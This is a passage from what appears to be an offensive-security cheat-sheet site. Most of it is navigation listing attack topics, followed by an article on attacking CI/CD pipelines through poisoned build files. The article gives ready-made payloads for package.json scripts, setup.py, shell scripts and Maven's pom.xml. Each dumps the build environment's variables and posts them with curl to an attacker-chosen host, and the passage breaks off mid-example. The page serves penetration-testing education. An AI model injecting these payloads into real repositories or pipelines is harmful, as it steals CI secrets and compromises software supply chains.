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<a href="../active-directory/hash-pass-the-hash/" class="md-nav__link">
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Hash - Pass the Hash
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/hash-pass-the-key/" class="md-nav__link">
<span class="md-ellipsis">
Hash - Pass The Key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/internal-dcom/" class="md-nav__link">
<span class="md-ellipsis">
Internal - DCOM
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/internal-mitm-relay/" class="md-nav__link">
<span class="md-ellipsis">
Internal - MITM and Relay
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/internal-pxe-boot-image/" class="md-nav__link">
<span class="md-ellipsis">
Internal - PXE Boot Image
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/internal-shares/" class="md-nav__link">
<span class="md-ellipsis">
Internal - Shares
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-bronze-bit/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Bronze Bit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-delegation-constrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Constrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-delegation-rbcd/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Resource Based Constrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-delegation-unconstrained/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos Delegation - Unconstrained Delegation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-s4u/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Service for User Extension
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/kerberos-tickets/" class="md-nav__link">
<span class="md-ellipsis">
Kerberos - Tickets
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-comments/" class="md-nav__link">
<span class="md-ellipsis">
Password - AD User Comment
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-dsrm-credentials/" class="md-nav__link">
<span class="md-ellipsis">
Password - DSRM Credentials
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-group-policy-preferences/" class="md-nav__link">
<span class="md-ellipsis">
Password - Group Policy Preferences
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-precreated-computer/" class="md-nav__link">
<span class="md-ellipsis">
Password - Pre-Created Computer Account
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-read-gmsa/" class="md-nav__link">
<span class="md-ellipsis">
Password - GMSA
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-read-laps/" class="md-nav__link">
<span class="md-ellipsis">
Password - LAPS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-shadow-credentials/" class="md-nav__link">
<span class="md-ellipsis">
Password - Shadow Credentials
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/pwd-spraying/" class="md-nav__link">
<span class="md-ellipsis">
Password - Spraying
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/trust-pam/" class="md-nav__link">
<span class="md-ellipsis">
Trust - Privileged Access Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/trust-relationship/" class="md-nav__link">
<span class="md-ellipsis">
Trust - Relationship
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/trust-sid-hijacking/" class="md-nav__link">
<span class="md-ellipsis">
Child Domain to Forest Compromise - SID Hijacking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/trust-ticket/" class="md-nav__link">
<span class="md-ellipsis">
Forest to Forest Compromise - Trust Ticket
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_2_44" >
<label class="md-nav__link" for="__nav_2_44" id="__nav_2_44_label" tabindex="0">
<span class="md-ellipsis">
CVE
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_2_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_2_44">
<span class="md-nav__icon md-icon"></span>
CVE
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../active-directory/CVE/MS14-068/" class="md-nav__link">
<span class="md-ellipsis">
MS14-068 Checksum Validation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/CVE/NoPAC/" class="md-nav__link">
<span class="md-ellipsis">
NoPAC / samAccountName Spoofing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/CVE/PrintNightmare/" class="md-nav__link">
<span class="md-ellipsis">
PrintNightmare
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/CVE/PrivExchange/" class="md-nav__link">
<span class="md-ellipsis">
PrivExchange
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../active-directory/CVE/ZeroLogon/" class="md-nav__link">
<span class="md-ellipsis">
ZeroLogon
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_3" >
<label class="md-nav__link" for="__nav_3" id="__nav_3_label" tabindex="0">
<span class="md-ellipsis">
Cheatsheets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_3">
<span class="md-nav__icon md-icon"></span>
Cheatsheets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../cheatsheets/escape-breakout/" class="md-nav__link">
<span class="md-ellipsis">
Kiosk Escape and Jail Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/hash-cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/mimikatz-cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/miscellaneous-tricks/" class="md-nav__link">
<span class="md-ellipsis">
Miscellaneous &amp; Tricks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/network-discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/powershell-cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/shell-bind-cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/shell-reverse-cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cheatsheets/source-code-management-ci/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management &amp; CI/CD Compromise
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
<span class="md-ellipsis">
Cloud
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4">
<span class="md-nav__icon md-icon"></span>
Cloud
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_1" >
<label class="md-nav__link" for="__nav_4_1" id="__nav_4_1_label" tabindex="0">
<span class="md-ellipsis">
Aws
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_1_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4_1">
<span class="md-nav__icon md-icon"></span>
Aws
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../cloud/aws/aws-access-token/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Access Token &amp; Secrets
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-cli/" class="md-nav__link">
<span class="md-ellipsis">
AWS - CLI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-cognito/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - Cognito
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-dynamodb/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - DynamoDB
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-ec2/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - EC2
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-enumeration/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Enumerate
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-iam/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Identity &amp; Access Management
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-ioc-detection/" class="md-nav__link">
<span class="md-ellipsis">
AWS - IOC &amp; Detections
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-lambda/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - Lambda &amp; API Gateway
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-metadata/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Metadata SSRF
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-s3-bucket/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - S3 Buckets
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-ssm/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Service - SSM
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/aws/aws-training/" class="md-nav__link">
<span class="md-ellipsis">
AWS - Training
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_2" >
<label class="md-nav__link" for="__nav_4_2" id="__nav_4_2_label" tabindex="0">
<span class="md-ellipsis">
Azure
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4_2">
<span class="md-nav__icon md-icon"></span>
Azure
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../cloud/azure/aka-ms/" class="md-nav__link">
<span class="md-ellipsis">
aka.ms Shortcuts
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-access-and-token/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - Access and Tokens
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-ad-conditional-access-policy/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - Conditional Access Policy
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-ad-connect/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - AD Connect and Cloud Sync
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-devices-users-sp/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - IAM
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - Enumerate
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-persistence/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-phishing/" class="md-nav__link">
<span class="md-ellipsis">
Azure AD - Phishing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-requirements/" class="md-nav__link">
<span class="md-ellipsis">
Azure - Requirements
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-application-endpoint/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Application Endpoint
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-application-proxy/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Application Proxy
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-container-registry/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Container Registry
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-deployment-template/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Deployment Template
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-devops/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Azure DevOps
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-keyvault/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - KeyVault
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-microsoft-intune/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Microsoft Intune
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-office-365/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Office 365
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-runbook/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Runbook and Automation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-storage-blob/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Storage Blob
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-virtual-machine/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Virtual Machine
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-web-apps/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - Web Apps
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/azure/azure-services-web-domains/" class="md-nav__link">
<span class="md-ellipsis">
Azure Services - DNS Suffix
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4_3" >
<label class="md-nav__link" for="__nav_4_3" id="__nav_4_3_label" tabindex="0">
<span class="md-ellipsis">
Ibm
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_4_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4_3">
<span class="md-nav__icon md-icon"></span>
Ibm
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../cloud/ibm/ibm-cloud-databases/" class="md-nav__link">
<span class="md-ellipsis">
IBM Cloud Managed Database Services
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../cloud/ibm/ibm-cloud-object-storage/" class="md-nav__link">
<span class="md-ellipsis">
IBM Cloud Object Storage
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
<span class="md-ellipsis">
Command control
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Command control
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../command-control/cobalt-strike-beacons/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike - Beacons
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../command-control/cobalt-strike-kits/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike - Kits
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../command-control/cobalt-strike/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../command-control/metasploit/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
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<span class="md-ellipsis">
Containers
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_6">
<span class="md-nav__icon md-icon"></span>
Containers
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../containers/docker/" class="md-nav__link">
<span class="md-ellipsis">
Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../containers/kubernetes/" class="md-nav__link">
<span class="md-ellipsis">
Kubernetes
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</ul>
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Databases
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<span class="md-nav__icon md-icon"></span>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
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<span class="md-nav__icon md-icon"></span>
Databases
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../databases/mssql-audit-checks/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL - Audit Checks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../databases/mssql-command-execution/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL - Command Execution
</span>
</a>
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MSSQL - Database Enumeration
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Access
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Initial Access
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Office - Attacks
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Phishing
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Web Attack Surface
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Windows - Download and execute methods
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Linux - Privilege Escalation
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Windows - Privilege Escalation
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Endpoint Detection and Response
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Elastic EDR
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Linux - Evasion
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Windows - AMSI Bypass
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Windows - Defenses
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<a href="../redteam/evasion/windows-dpapi/" class="md-nav__link">
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Windows - DPAPI
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Linux - Persistence
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RDP - Persistence
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Windows - Persistence
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Pivoting
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Network Pivoting Techniques
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Summary
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Tools
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Package managers &amp; Build Files
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Javascript / Typescript - package.json
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Python - setup.py
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Bash / sh - *.sh
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Maven / Gradle
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BUILD.bazel
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Makefile
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Rakefile
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C# - *.csproj
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<h1 id="cicd-attacks">CI/CD attacks</h1>
<blockquote>
<p>CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories. These systems often contain sensitive secrets or run in privileged environments. Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines. Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE).</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#package-managers--build-files">Package managers &amp; Build Files</a></li>
<li><a href="#javascript--typescript---packagejson">Javascript / Typescript - package.json</a></li>
<li><a href="#python---setuppy">Python - setup.py</a></li>
<li><a href="#bash--sh---sh">Bash / sh - *.sh</a></li>
<li><a href="#maven--gradle">Maven / Gradle</a></li>
<li><a href="#buildbazel">BUILD.bazel</a></li>
<li><a href="#makefile">Makefile</a></li>
<li><a href="#rakefile">Rakefile</a></li>
<li><a href="#c---csproj">C# - *.csproj</a></li>
<li><a href="#cicd-products">CI/CD products</a></li>
<li><a href="./github-actions">GitHub Actions</a></li>
<li><a href="./azure-devops">Azure Pipelines (Azure DevOps)</a></li>
<li><a href="./circle-ci">Circle CI</a></li>
<li><a href="./drone-ci">Drone CI</a></li>
<li><a href="./buildkite">BuildKite</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/praetorian-inc/gato">praetorian-inc/gato</a> - GitHub Self-Hosted Runner Enumeration and Attack Tool</li>
<li><a href="https://github.com/messypoutine/gravy-overflow">messypoutine/gravy-overflow</a> - A GitHub Actions Supply Chain CTF / Goat</li>
</ul>
<h2 id="package-managers-build-files">Package managers &amp; Build Files</h2>
<blockquote>
<p>Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process.\
In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them.\n
If the CI builds forked pull requests then your payload may run in the CI.</p>
</blockquote>
<h3 id="javascript-typescript-packagejson">Javascript / Typescript - package.json</h3>
<blockquote>
<p>The <code>package.json</code> file is used by many Javascript / Typescript package managers (<code>yarn</code>,<code>npm</code>,<code>pnpm</code>,<code>npx</code>....).</p>
<p>The file may contain a <code>scripts</code> object with custom commands to run.\
<code>preinstall</code>, <code>install</code>, <code>build</code> &amp; <code>test</code> are often executed by default in most CI/CD pipelines - hence they are good targets for injection.\
If you come across a <code>package.json</code> file - edit the <code>scripts</code> object and inject your instruction there</p>
</blockquote>
<p>NOTE: the payloads in the instructions above must be <code>json escaped</code>.</p>
<p>Example:
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="p">{</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="w"> </span><span class="nt">&quot;name&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;my_package&quot;</span><span class="p">,</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="w"> </span><span class="nt">&quot;description&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;&quot;</span><span class="p">,</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="w"> </span><span class="nt">&quot;version&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;1.0.0&quot;</span><span class="p">,</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="w"> </span><span class="nt">&quot;scripts&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a><span class="w"> </span><span class="nt">&quot;preinstall&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;set | curl -X POST --data-binary @- {YourHostName}&quot;</span><span class="p">,</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="w"> </span><span class="nt">&quot;install&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;set | curl -X POST --data-binary @- {YourHostName}&quot;</span><span class="p">,</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="w"> </span><span class="nt">&quot;build&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;set | curl -X POST --data-binary @- {YourHostName}&quot;</span><span class="p">,</span>
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a><span class="w"> </span><span class="nt">&quot;test&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;set | curl -X POST --data-binary @- {YourHostName}&quot;</span>
<a id="__codelineno-0-10" name="__codelineno-0-10" href="#__codelineno-0-10"></a><span class="w"> </span><span class="p">},</span>
<a id="__codelineno-0-11" name="__codelineno-0-11" href="#__codelineno-0-11"></a><span class="w"> </span><span class="nt">&quot;repository&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-0-12" name="__codelineno-0-12" href="#__codelineno-0-12"></a><span class="w"> </span><span class="nt">&quot;type&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;git&quot;</span><span class="p">,</span>
<a id="__codelineno-0-13" name="__codelineno-0-13" href="#__codelineno-0-13"></a><span class="w"> </span><span class="nt">&quot;url&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;https://github.com/foobar/my_package.git&quot;</span>
<a id="__codelineno-0-14" name="__codelineno-0-14" href="#__codelineno-0-14"></a><span class="w"> </span><span class="p">},</span>
<a id="__codelineno-0-15" name="__codelineno-0-15" href="#__codelineno-0-15"></a><span class="w"> </span><span class="nt">&quot;keywords&quot;</span><span class="p">:</span><span class="w"> </span><span class="p">[],</span>
<a id="__codelineno-0-16" name="__codelineno-0-16" href="#__codelineno-0-16"></a><span class="w"> </span><span class="nt">&quot;author&quot;</span><span class="p">:</span><span class="w"> </span><span class="s2">&quot;C.Norris&quot;</span>
<a id="__codelineno-0-17" name="__codelineno-0-17" href="#__codelineno-0-17"></a><span class="p">}</span>
</code></pre></div></p>
<h3 id="python-setuppy">Python - setup.py</h3>
<blockquote>
<p><code>setup.py</code> is used by python's package managers during the build process.
It is often executed by default.\
Replacing the setup.py files with the following payload may trigger their execution by the CI.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="kn">import</span> <span class="nn">os</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">&#39;set | curl -X POST --data-binary @- </span><span class="si">{YourHostName}</span><span class="s1">&#39;</span><span class="p">)</span>
</code></pre></div>
<h3 id="bash-sh-sh">Bash / sh - *.sh</h3>
<blockquote>
<p>Shell scripts in the repository are often executed in custom CI/CD pipelines.\
Replacing all the <code>.sh</code> files in the repo and submitting a pull request may trigger their execution by the CI.</p>
</blockquote>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="nb">set</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>curl<span class="w"> </span>-X<span class="w"> </span>POST<span class="w"> </span>--data-binary<span class="w"> </span>@-<span class="w"> </span><span class="o">{</span>YourHostName<span class="o">}</span>
</code></pre></div>
<h3 id="maven-gradle">Maven / Gradle</h3>
<blockquote>
<p>These package managers come with "wrappers" that help with running custom commands for building / testing the project.\
These wrappers are essentially executable shell/cmd scripts.
Replace them with your payloads to have them executed:</p>
</blockquote>
<ul>
<li><code>gradlew</code> </li>
<li><code>mvnw</code></li>
<li><code>gradlew.bat</code> (windows)</li>
<li><code>mvnw.cmd</code> (windows)</li>
</ul>
<blockquote>
<p>Occasionally the wrappers will not be present in the repository.\
In such cases you can edit the <code>pom.xml</code> file, which instructs maven what dependencies to fetch and which <code>plugins</code> to run.\
Some plugins allow code execution, here's an example of the common plugin <code>org.codehaus.mojo</code>.\
If the <code>pom.xml</code> file you're targeting already contains a <code>&lt;plugins&gt;</code> instruction then simply add another <code>&lt;plugin&gt;</code> node under it.\
If if <strong>doesn't</strong> contain a <code>&lt;plugins&gt;</code> node then add it under the <code>&lt;build&gt;</code> node.</p>
</blockquote>
<p>NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="nt">&lt;build&gt;</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="w"> </span><span class="nt">&lt;plugins&gt;</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="w"> </span><span class="nt">&lt;plugin&gt;</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="w"> </span><span class="nt">&lt;groupId&gt;</span>org.codehaus.mojo<span class="nt">&lt;/groupId&gt;</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="w"> </span><span class="nt">&lt;artifactId&gt;</span>exec-maven-plugin<span class="nt">&lt;/artifactId&gt;</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="w"> </span><span class="nt">&lt;version&gt;</span>1.6.0<span class="nt">&lt;/version&gt;</span>
<a id="__codelineno-3-7" name="__codelineno-3-7" href="#__codelineno-3-7"></a><span class="w"> </span><span class="nt">&lt;executions&gt;</span>
<a id="__codelineno-3-8" name="__codelineno-3-8" href="#__codelineno-3-8"></a><span class="w"> </span><span class="nt">&lt;execution&gt;</span>
<a id="__codelineno-3-9" name="__codelineno-3-9" href="#__codelineno-3-9"></a><span class="w"> </span><span class="nt">&lt;id&gt;</span>run-script<span class="nt">&lt;/id&gt;</span>
<a id="__codelineno-3-10" name="__codelineno-3-10" href="#__codelineno-3-10"></a><span class="w"> </span><span class="nt">&lt;phase&gt;</span>validate<span class="nt">&lt;/phase&gt;</span>
<a id="__codelineno-3-11" name="__codelineno-3-11" href="#__codelineno-3-11"></a><span class="w"> </span><span class="nt">&lt;goals&gt;</span>
<a id="__codelineno-3-12" name="__codelineno-3-12" href="#__codelineno-3-12"></a><span class="w"> </span><span class="nt">&lt;goal&gt;</span>exec<span class="nt">&lt;/goal&gt;</span>
<a id="__codelineno-3-13" name="__codelineno-3-13" href="#__codelineno-3-13"></a><span class="w"> </span><span class="nt">&lt;/goals&gt;</span>
<a id="__codelineno-3-14" name="__codelineno-3-14" href="#__codelineno-3-14"></a><span class="w"> </span><span class="nt">&lt;/execution&gt;</span>
<a id="__codelineno-3-15" name="__codelineno-3-15" href="#__codelineno-3-15"></a><span class="w"> </span><span class="nt">&lt;/executions&gt;</span>
<a id="__codelineno-3-16" name="__codelineno-3-16" href="#__codelineno-3-16"></a><span class="w"> </span><span class="nt">&lt;configuration&gt;</span>
<a id="__codelineno-3-17" name="__codelineno-3-17" href="#__codelineno-3-17"></a><span class="w"> </span><span class="nt">&lt;executable&gt;</span>bash<span class="nt">&lt;/executable&gt;</span>
